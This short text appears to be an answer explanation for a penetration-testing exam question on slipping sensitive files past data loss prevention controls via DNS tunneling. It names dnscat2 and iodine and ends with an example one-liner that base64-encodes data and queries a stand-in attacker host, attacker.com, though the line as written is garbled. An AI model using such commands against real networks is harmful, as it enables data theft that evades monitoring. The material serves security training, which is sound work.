A penetration tester has discovered sensitive files on a system.

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com